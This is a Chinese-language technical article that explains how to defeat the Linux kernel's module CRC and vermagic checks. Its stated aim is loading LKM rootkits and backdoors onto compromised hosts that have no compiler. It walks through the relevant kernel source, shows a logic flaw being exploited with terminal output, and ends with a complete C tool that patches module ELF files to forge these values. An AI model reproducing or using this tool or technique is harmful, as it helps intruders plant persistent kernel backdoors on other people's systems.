666
技術社區[雲棲]
突破內核模塊版本校驗機製
作者:王智通
- 1、 為什麼要突破模塊驗證
- 2、 內核是怎麼實現的
- 3、 怎樣去突破
- 4、 總結
- 5、 參考
- 6、 附錄
為什麼要突破模塊驗證
Linux內核版本很多,升級很快,2個小內核版本中內核函數的定義可能都不一樣,為了確保不一致的驅動程序導致kernel oops, 開發者加入了模塊驗證機製。它在加載內核模塊的時候對模塊進行校驗, 如果模塊與主機的一些環境不一致,就會加載不成功。 看下麵一個例子,它簡單的輸出當期係統中的模塊列表:
#include <linux/kernel.h> #include <linux/module.h> #include <linux/init.h> #include <linux/version.h> #include <linux/string.h> #include <linux/list.h> MODULE_LICENSE("GPL"); MODULE_AUTHOR("wzt"); struct module *m = &__this_module; int print_module_test(void) { struct module *mod; list_for_each_entry(mod, &m->list, list) { printk("%s\n", mod->name); } return NULL; } static int list_print_init(void) { printk("load list_print module.\n"); print_module_test(); return 0; } static void list_print_exit(void) { printk("unload list_print module.\n"); } module_init(list_print_init); module_exit(list_print_exit);
我們在centos5.3環境中編譯一下:
[root@localhost list]# uname -a Linux localhost.localdomain 2.6.18-128.el5 #1 SMP Wed Jan 21 10:44:23 EST 2009 i686 i686 i386 GNU/Linux
然後拷貝到另一台主機centos5.1xen上:
[root@localhost ~]# uname -a Linux localhost.localdomain 2.6.18-53.el5xen #1 SMP Mon Nov 12 03:26:12 EST 2007 i686 i686 i386 GNU/Linux
用insmod加載:
[root@localhost ~]# insmod list.ko insmod: error inserting 'list.ko': -1 Invalid module format
報錯了,在看下dmesg的信息:
[root@localhost ~]# dmesg|tail -n 1 list: disagrees about version of symbol struct_module
先不管這是什麼, 總之我們的模塊在另一台2.6.18的主機中加載失敗。 通常的做法是要在主機中對源代碼進行編譯,然後才能加載成功, 但是如果主機中缺少內核編譯環境的話, 我們rootkit就不能編譯, 也不能安裝在主機之中,這是多麼尷尬的事情:)。 沒錯, 這就是linux kernel開發的特點, 你別指望像windows驅動一樣,編譯一個驅動, 然後可以滿世界去裝_. 一些rootkit開發者拋棄了lkm類型rk的開發, 轉而去打kmem, mem的注意,像sk,moodnt這樣的rk大家都喜歡, 可以在用戶層下動態patch內核,不需要編譯環境, wget下來,install即可。 但是它也有很多缺點,比如很不穩定,而且在2.6.x後內核已經取消了kmem這個設備, mem文件也做了映射和讀寫的限製。 rk開發者沒法繼續sk的神話了。反過來, 如果我們的lkm後門不需要編譯環境,也可以達到直接insmod的目的,這是件多麼美好的事情,而且lkm後門更加穩定,還不用像sk在內核中添加了很多自己的數據結構。
內核是怎麼實現的
我們去看看內核在加載模塊的時候都幹了什麼, 或許我們可以發現點bug, 然後做點手腳,欺騙過去:) grep下dmesg裏的關鍵字, 看看它在哪個文件中:
[root@localhost linux-2.6.18]# grep -r -i 'disagrees about' kernel/ kernel/module.c: printk("%s: disagrees about version of symbol %s\n",
2.6.18/kernel/module.c: insmod調用了sys_init_module這個係統調用, 然後進入load_module這個主函數,它解析elf格式的ko文件,然後加載到內核中:
/* Allocate and load the module: note that size of section 0 is always zero, and we rely on this for optional sections. */ static struct module *load_module(void __user *umod, unsigned long len, const char __user *uargs) { ... if (!check_modstruct_version(sechdrs, versindex, mod)) { err = -ENOEXEC; goto free_hdr; } modmagic = get_modinfo(sechdrs, infoindex, "vermagic"); /* This is allowed: modprobe --force will invalidate it. */ if (!modmagic) { add_taint(TAINT_FORCED_MODULE); printk(KERN_WARNING "%s: no version magic, tainting kernel.\n", mod->name); } else if (!same_magic(modmagic, vermagic)) { printk(KERN_ERR "%s: version magic '%s' should be '%s'\n", mod->name, modmagic, vermagic); err = -ENOEXEC; goto free_hdr; } ... }
check_modstruct_version就是用來計算模塊符號的一些crc值,不相同就會出現我們在dmesg裏看到的“disagrees about version of symbol”信息。 get_modinfo取得了內核本身的vermagic值,然後用same_magic函數和內核的vermagic去比較,不同也會使內核加載失敗。 所以在這裏,我們看到內核對模塊驗證的時候采用了2層驗證的方法:模塊crc值和vermagic檢查。
繼續跟蹤check_modstruct_version, 現在的內核默認的都開啟了CONFIG_MODVERSIONS, 如果沒有指定這個選項,函數為空,我們的目的是要在As, Centos下安裝模塊,redhat不是吃幹飯的, 當然開了MODVERSIONS選項。
static inline int check_modstruct_version(Elf_Shdr *sechdrs, unsigned int versindex, struct module *mod) { const unsigned long *crc; struct module *owner; if (!__find_symbol("struct_module", &owner, &crc, 1)) BUG(); return check_version(sechdrs, versindex, "struct_module", mod, crc); }
find_symbol找到了struct_module這個符號的crc值,然後調用check_version去校驗:
static int check_version(Elf_Shdr *sechdrs, unsigned int versindex, const char *symname, struct module *mod, const unsigned long *crc) { unsigned int i, num_versions; struct modversion_info *versions; /* Exporting module didn't supply crcs? OK, we're already tainted. */ if (!crc) return 1; versions = (void *) sechdrs[versindex].sh_addr; num_versions = sechdrs[versindex].sh_size / sizeof(struct modversion_info); for (i = 0; i < num_versions; i++) { if (strcmp(versions[i].name, symname) != 0) continue; if (versions[i].crc == *crc) return 1; printk("%s: disagrees about version of symbol %s\n", mod->name, symname); DEBUGP("Found checksum %lX vs module %lX\n", *crc, versions[i].crc); return 0; } /* Not in module's version table. OK, but that taints the kernel. */ if (!(tainted & TAINT_FORCED_MODULE)) { printk("%s: no version for \"%s\" found: kernel tainted.\n", mod->name, symname); add_taint(TAINT_FORCED_MODULE); } return 1; }
它搜尋elf的versions小節, 循環遍曆數組中的每個符號表,找到struct_module這個符號,然後去比較crc的值。現在有個疑問, versions小節是怎麼鏈接到模塊的elf文件中去的呢? 在看下編譯後的生成文件, 有一個list.mod.c
[root@localhost list]# cat list.mod.c
#include <linux/module.h> #include <linux/vermagic.h> #include <linux/compiler.h> MODULE_INFO(vermagic, VERMAGIC_STRING); struct module __this_module __attribute__((section(".gnu.linkonce.this_module"))) = { .name = KBUILD_MODNAME, .init = init_module, #ifdef CONFIG_MODULE_UNLOAD .exit = cleanup_module, #endif }; static const struct modversion_info ____versions[] __attribute_used__ __attribute__((section("__versions"))) = { { 0x89e24b9c, "struct_module" }, { 0x1b7d4074, "printk" }, }; static const char __module_depends[] __attribute_used__ __attribute__((section(".modinfo"))) = "depends="; MODULE_INFO(srcversion, "26DB52D8A56205333D414B9");
這個文件是模塊在編譯的時候,調用了linux-2.6.18/scripts/modpost這個文件生成的。裏麵增加了2個小節.gnu.linkonce.this_module和versions。 versions小節的內容就是一些字符串和值組成的數組,check_version就是解析這個小節去做驗證。 這裏還有一個MODULE_INFO宏用來生成模塊的magic字符串,這個在以後的vermagic中要做驗證。
先看下vermagic的格式:
[root@localhost list]# modinfo list.ko filename: list.ko author: wzt license: GPL srcversion: 26DB52D8A56205333D414B9 depends: vermagic: 2.6.18-128.el5 SMP mod_unload 686 REGPARM 4KSTACKS gcc-4.1
這裏可以看到vermagic跟內核版本,smp,gcc版本,內核堆棧大小都有關。
/* First part is kernel version, which we ignore. */ static inline int same_magic(const char *amagic, const char *bmagic) { amagic += strcspn(amagic, " "); bmagic += strcspn(bmagic, " "); return strcmp(amagic, bmagic) == 0; }
same_magic忽略了對內核版本的判斷, 直接比較後麵的值。
怎樣去突破
知道了內核是怎麼實現的了, 下麵開始想辦法繞過這些驗證:)
怎麼突破crc驗證
在仔細看下代碼:
for (i = 0; i < num_versions; i++) { if (strcmp(versions[i].name, symname) != 0) continue; if (versions[i].crc == *crc) return 1; printk("%s: disagrees about version of symbol %s\n", mod->name, symname); DEBUGP("Found checksum %lX vs module %lX\n", *crc, versions[i].crc); return 0; } /* Not in module's version table. OK, but that taints the kernel. */ if (!(tainted & TAINT_FORCED_MODULE)) { printk("%s: no version for \"%s\" found: kernel tainted.\n", mod->name, symname); add_taint(TAINT_FORCED_MODULE); } return 1;
check_version在循環中隻是在尋找struct_module符號, 如果沒找到呢? 它會直接返回1! 沒錯, 這是一個邏輯bug,在正常情況下,module必會有一個struct_module的符號, 這是modpost生成的。如果我們修改elf文件,把struct_module這個符號改名,豈不是就可以繞過crc驗證了嗎? 先做個實驗看下:
.mod.c是由modpost這個工具生成的, 它在linux-2.6.18/scripts/Makefile.modpost文件中被調用, 去看下:
PHONY += __modpost __modpost: $(wildcard vmlinux) $(modules:.ko=.o) FORCE $(call cmd,modpost)
我們用一個很土的方法, 就是在編譯模塊的時候,modpost生成.mod.c文件後, 暫停下編譯,sleep 30秒吧,我們用
這個時間去改寫下.mod.c, 把struct_module換個名字。
PHONY += __modpost __modpost: $(wildcard vmlinux) $(modules:.ko=.o) FORCE $(call cmd,modpost) @sleep 30
隨便將struct_module改個名:
[root@localhost list]# cat list.mod.c
#include <linux/module.h> #include <linux/vermagic.h> #include <linux/compiler.h> MODULE_INFO(vermagic, VERMAGIC_STRING); struct module __this_module __attribute__((section(".gnu.linkonce.this_module"))) = { .name = KBUILD_MODNAME, .init = init_module, #ifdef CONFIG_MODULE_UNLOAD .exit = cleanup_module, #endif }; static const struct modversion_info ____versions[] __attribute_used__ __attribute__((section("__versions"))) = { { 0x89e24b9c, "stauct_module" }, { 0x1b7d4074, "printk" }, }; static const char __module_depends[] __attribute_used__ __attribute__((section(".modinfo"))) = "depends="; MODULE_INFO(srcversion, "26DB52D8A56205333D414B9");
我們是在centos5.3下編譯的, 然後拷貝到centos5.1下, 在執行下insmod看下:
[root@localhost ~]# insmod list.ko [root@localhost ~]# dmesg|tail ata_piix libata sd_mod scsi_mod ext3 jbd ehci_hcd ohci_hcd uhci_hcd
成功了! 這跟我們預期的一樣, 我們用這個邏輯bug繞過了模塊的crc驗證! 這個bug直到2.6.31版本中才得到修正。 我們可以用這種方法在redhat主機中任意安裝模塊了。 那麼怎樣繞過在2.6.31以後的內核呢? 看下它是怎麼修補的:
for (i = 0; i < num_versions; i++) { if (strcmp(versions[i].name, symname) != 0) continue; if (versions[i].crc == *crc) return 1; DEBUGP("Found checksum %lX vs module %lX\n", *crc, versions[i].crc); goto bad_version; } printk(KERN_WARNING "%s: no symbol version for %s\n", mod->name, symname); return 0; bad_version: printk("%s: disagrees about version of symbol %s\n", mod->name, symname); return 0;
如果沒找到struct_module也會返回0, 這樣我們就必須將struct_module的值改為正確後, 才能繼續安裝。如何找到模塊符號的crc值呢? 我們可以去找目標主機中那些已被係統加載的模塊的crc值,如ext3文件係統的模塊, 自己寫個程序去解析elf文件, 就可以得到某些符號的crc值了。 還有沒有更簡單的方法呢?去/boot目錄下看看,symvers-2.6.18-128.el5.gz貌似和crc有關,gunzip解壓後看看:
[root@localhost boot]# grep 'struct_module' symvers-2.6.18-128.el5 0x89e24b9c struct_module vmlinux EXPORT_SYMBOL
原來內核中所有符號的crc值都保存在這個文件中。如何改寫struct_module的值呢,可以用上麵那個土方法, 或者自己寫程序去解析elf文件, 然後改寫其值。本文最後附上一個小程序用來修改elf的符號和crc值。
如何突破vermagic驗證
如果我們用list.mod.c中的做法, 用MODULE_INFO宏來生成一個與目標主機相同的vermagic呢? 答案是否定的,gcc鏈接的時候會把modinfo小節鏈接在最後,加載模塊的時候還是會讀取第一個.modinfo小節。我們可以用上麵那種很土的方法, 先用modinfo命令得到目標主機中某個模塊的信息:
[root@localhost list]# modinfo /lib/modules/2.6.18-128.el5/kernel/fs/ext3/ext3.ko filename: /lib/modules/2.6.18-128.el5/kernel/fs/ext3/ext3.ko license: GPL description: Second Extended Filesystem with journaling extensions author: Remy Card, Stephen Tweedie, Andrew Morton, Andreas Dilger, Theodore Ts'o and others srcversion: B048AC103E5034604A721C5 depends: jbd vermagic: 2.6.18-128.el5 SMP mod_unload 686 REGPARM 4KSTACKS gcc-4.1 module_sig: 883f3504977495e4f3f897cd3dced211288209f551cc1da557f96ea18d9a4efd6cfb0fc2612e009c8845fd776c825d586f492ceab19e17b2319da8f
然後在用那個很土的方麵, 將.mod.c中vermagic值進行修改。還有一種直接修改elf文件的方法,附錄在本文後麵。
總結
前麵有一點沒有提到, 就是某些內核版本的相同接口的函數代碼可能已經變化, 這樣在使用這項技術的時候, 最好在同一個大內核版本使用。你也可能感覺要想跨平台安裝模塊有些麻煩, 這裏還有2個方法, 作為一個專業搞滲透的人來說,他會自己在本地裝很多發行版本的linux,特別是root掉一台主機後,會在本地裝一個一模一樣的發行版本,smp、kernel stack size、gcc version都一樣。在本地機器裝上開發環境,這樣編譯出來的模塊也是可以直接裝到目標主機上的,但這很麻煩,因為linux有太多的發行版本了:), 另一個方法就是自己裝一個linux,編譯下內核,然後將build後的開發包集成到自己的後門裏, 壓縮後大概幾m。 然後傳到主機去解壓,編譯。慶幸的是,現在大多數主機中都有內核開發環境, 直接去主機編譯就ok了。
參考
- 1、 linux kernel source code
- 2、 module injection in 2.6 kernel – Coolq
https://www.nsfocus.net/index.php?act=magazine&do=view&mid=2533
附錄
/* * Linux kernel module fucker * * by wzt <wzt.wzt@gmail.com> * */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <elf.h> #include <sys/stat.h> #include <sys/mman.h> #define MODULE_NAME_LEN (64 - sizeof(unsigned long)) struct modversion_info { unsigned long crc; char name[MODULE_NAME_LEN]; }; Elf32_Ehdr *ehdr = NULL; Elf32_Phdr *phdr = NULL; Elf32_Shdr *shdr = NULL; Elf32_Shdr *shstrtab = NULL; Elf32_Sym *dynsym_ptr = NULL; Elf32_Sym *symtab_ptr = NULL; Elf32_Sym *dynstr_ptr = NULL; char *Real_strtab = NULL; char *dynstr = NULL; char *strtab_ptr = NULL; char dynstr_buffer[2048]; char strtab_buffer[4096]; char *real_strtab = NULL; unsigned int shstrtab_off, shstrtab_len, shstrtab_num; unsigned int strtab_off, strtab_size; int elf_fd; struct stat f_stat; void usage(char *pro) { fprintf(stderr, "usage: %s <options> <module>\n\n", pro); fprintf(stderr, "-w -v\tCheck vermgaic in module.\n"); fprintf(stderr, "-w -c\tCheck crc value in module.\n"); fprintf(stderr, "-s -v <new_vermagic>\tSet vermagic in module.\n"); fprintf(stderr, "-s -c\tSet crc value in module.\n"); exit(0); } int init_load_elf(char *elf_file) { char buff[1024]; elf_fd = open(elf_file, O_RDWR); if (elf_fd == -1) { perror("open"); return 0; } fprintf(stderr, "[+] Open %s ok.\n", elf_file); if (fstat(elf_fd, &f_stat) == -1) { perror("fstat"); return 0; } ehdr = (Elf32_Ehdr *)mmap(NULL, f_stat.st_size, PROT_WRITE|PROT_READ, MAP_SHARED, elf_fd, 0); if(ehdr == MAP_FAILED) { perror("mmap"); return 0; } phdr = (Elf32_Phdr *)((unsigned long)ehdr + ehdr->e_phoff); shdr = (Elf32_Shdr *)((unsigned long)ehdr + ehdr->e_shoff); shstrtab = &shdr[ehdr->e_shstrndx]; shstrtab_off = (unsigned int)shstrtab->sh_offset; shstrtab_len = shstrtab->sh_size; real_strtab = (char *)( (unsigned long)ehdr + shstrtab_off ); printf("[+] .Shstrtab Size :0x%x,%d\n", shstrtab->sh_size, shstrtab->sh_name); printf("[+] .Shstrtab Off: 0x%x\n", shstrtab_off); return 1; } int display_module_crc_info(void) { struct modversion_info *versions; char *buff = NULL; unsigned int version_off, version_size, num_versions; int i, j; buff = (char *)malloc(shstrtab_len + 2); if (!buff) { fprintf(stderr, "[-] Malloc failed.\n"); return 0; } memcpy(buff, real_strtab, shstrtab_len + 1); for (i = 0 ; i < (int)ehdr->e_shnum ; i++){ if (!strcmp(buff + shdr[i].sh_name,"__versions")){ printf("[+] found section %s.\n", buff + shdr[i].sh_name); version_off = (unsigned int)shdr[i].sh_offset; version_size = (unsigned int)shdr[i].sh_size; printf("[+] version off: 0x%x\n", version_off); printf("[+] version size: 0x%x\n", version_size); break; } } printf("[+] %x,%x\n", (unsigned long)ehdr + version_off, shdr[i].sh_addr); versions = (void *)((unsigned long)ehdr + version_off); num_versions = version_size / sizeof(struct modversion_info); printf("[+] num_versions: %d\n", num_versions); for (j = 0; j < num_versions; j++) { printf("[+] %s:0x%08x.\n", versions[j].name, versions[j].crc); } free(buff); return 1; } int set_module_crc_info(void) { struct modversion_info *versions; char *buff = NULL; unsigned int version_off, version_size, num_versions; int i, j; buff = (char *)malloc(shstrtab_len + 2); if (!buff) { fprintf(stderr, "[-] Malloc failed.\n"); return 0; } memcpy(buff, real_strtab, shstrtab_len + 1); for (i = 0 ; i < (int)ehdr->e_shnum ; i++){ if (!strcmp(buff + shdr[i].sh_name,"__versions")){ printf("[+] found section %s.\n", buff + shdr[i].sh_name); version_off = (unsigned int)shdr[i].sh_offset; version_size = (unsigned int)shdr[i].sh_size; printf("[+] version off: 0x%x\n", version_off); printf("[+] version size: 0x%x\n", version_size); break; } } printf("[+] %x,%x\n", (unsigned long)ehdr + version_off, shdr[i].sh_addr); versions = (void *)((unsigned long)ehdr + version_off); num_versions = version_size / sizeof(struct modversion_info); printf("[+] num_versions: %d\n", num_versions); for (j = 0; j < num_versions; j++) { printf("[+] %s:0x%08x.\n", versions[j].name, versions[j].crc); if (!strcmp(versions[j].name, "struct_module")) { fprintf(stderr, "[+] Found symbol struct_module.\n"); versions[j].name[0] = 'T'; break; } } for (j = 0; j < num_versions; j++) { printf("[+] %s:0x%08x.\n", versions[j].name, versions[j].crc); } free(buff); return 1; } static char *next_string(char *string, unsigned long *secsize) { /* Skip non-zero chars */ while (string[0]) { string++; if ((*secsize)-- <= 1) return NULL; } /* Skip any zero padding. */ while (!string[0]) { string++; if ((*secsize)-- <= 1) return NULL; } return string; } static char *get_modinfo(Elf32_Shdr *sechdrs, unsigned int info, const char *tag) { char *p; unsigned int taglen = strlen(tag); unsigned long size = sechdrs[info].sh_size; for (p = (char *)(ehdr +sechdrs[info].sh_offset); p; p = next_string(p, &size)) { if (strncmp(p, tag, taglen) == 0 && p[taglen] == '=') return p + taglen + 1; } return NULL; } int display_module_vermagic_info(void) { char *buff, *p; char *ver = "vermagic"; unsigned int taglen = strlen(ver); int size, i; buff = (char *)malloc(shstrtab_len + 2); if (!buff) { fprintf(stderr, "[-] Malloc failed.\n"); return 0; } memcpy(buff, real_strtab, shstrtab_len + 1); for (i = 0 ; i < (int)ehdr->e_shnum ; i++){ if (!strcmp(buff + shdr[i].sh_name,".modinfo")){ printf("[+] found section %s.\n", buff + shdr[i].sh_name); break; } } size = shdr[i].sh_size; printf("[+] size: 0x%x.\n", size); p = (char *)((unsigned long)ehdr + shdr[i].sh_offset); printf("[+] 0x%08x\n", p); for (; p; p = next_string(p, &size)) { printf("[+] %s\n", p); if (strncmp(p, "vermagic", taglen) == 0 && p[taglen] == '=') { printf("[+] %s\n", p + taglen + 1); //memset(p + taglen + 1, 'A', 30); } } return 1; } int set_module_vermagic_info(char *new_vermagic) { char *buff, *p; char *ver = "vermagic"; unsigned int taglen = strlen(ver); int size, i; buff = (char *)malloc(shstrtab_len + 2); if (!buff) { fprintf(stderr, "[-] Malloc failed.\n"); return 0; } memcpy(buff, real_strtab, shstrtab_len + 1); for (i = 0 ; i < (int)ehdr->e_shnum ; i++){ if (!strcmp(buff + shdr[i].sh_name,".modinfo")){ printf("[+] found section %s.\n", buff + shdr[i].sh_name); break; } } size = shdr[i].sh_size; printf("[+] size: 0x%x.\n", size); p = (char *)((unsigned long)ehdr + shdr[i].sh_offset); printf("[+] 0x%08x\n", p); for (; p; p = next_string(p, &size)) { printf("[+] %s\n", p); if (strncmp(p, "vermagic", taglen) == 0 && p[taglen] == '=') { printf("[+] %s\n", p + taglen + 1); if (strlen(p + taglen + 1) < strlen(new_vermagic)) { printf("[-] New vermagic len must < current magic len.\n"); return 0; } memset(p + taglen + 1, '\0', strlen(new_vermagic)); memcpy(p + taglen + 1, new_vermagic, strlen(new_vermagic)); } } return 1; } int exit_elf_load(void) { close(elf_fd); if (munmap(ehdr, f_stat.st_size) == -1) { return 0; } return 1; } int main(int argc, char **argv) { if (argc == 1) { usage(argv[0]); } if (!strcmp(argv[1], "-w") && !strcmp(argv[2], "-c")) { fprintf(stderr, "[+] Display %s module crc value.\n", argv[3]); if (!init_load_elf(argv[3])) { fprintf(stderr, "[-] Init elf load failed.\n"); return 0; } display_module_crc_info(); exit_elf_load(); } else if (!strcmp(argv[1], "-s") && !strcmp(argv[2], "-c")) { fprintf(stderr, "[+] Set %s module crc value.\n", argv[3]); if (!init_load_elf(argv[3])) { fprintf(stderr, "[-] Init elf load failed.\n"); return 0; } set_module_crc_info(); exit_elf_load(); } if (!strcmp(argv[1], "-w") && !strcmp(argv[2], "-v")) { fprintf(stderr, "[+] Display %s module crc value.\n", argv[3]); if (!init_load_elf(argv[3])) { fprintf(stderr, "[-] Init elf load failed.\n"); return 0; } display_module_vermagic_info(); exit_elf_load(); } if (!strcmp(argv[1], "-s") && !strcmp(argv[2], "-v")) { fprintf(stderr, "[+] Display %s module crc value.\n", argv[4]); if (!init_load_elf(argv[4])) { fprintf(stderr, "[-] Init elf load failed.\n"); return 0; } set_module_vermagic_info(argv[3]); exit_elf_load(); } else { return 0; } }
最後更新:2017-04-03 07:57:06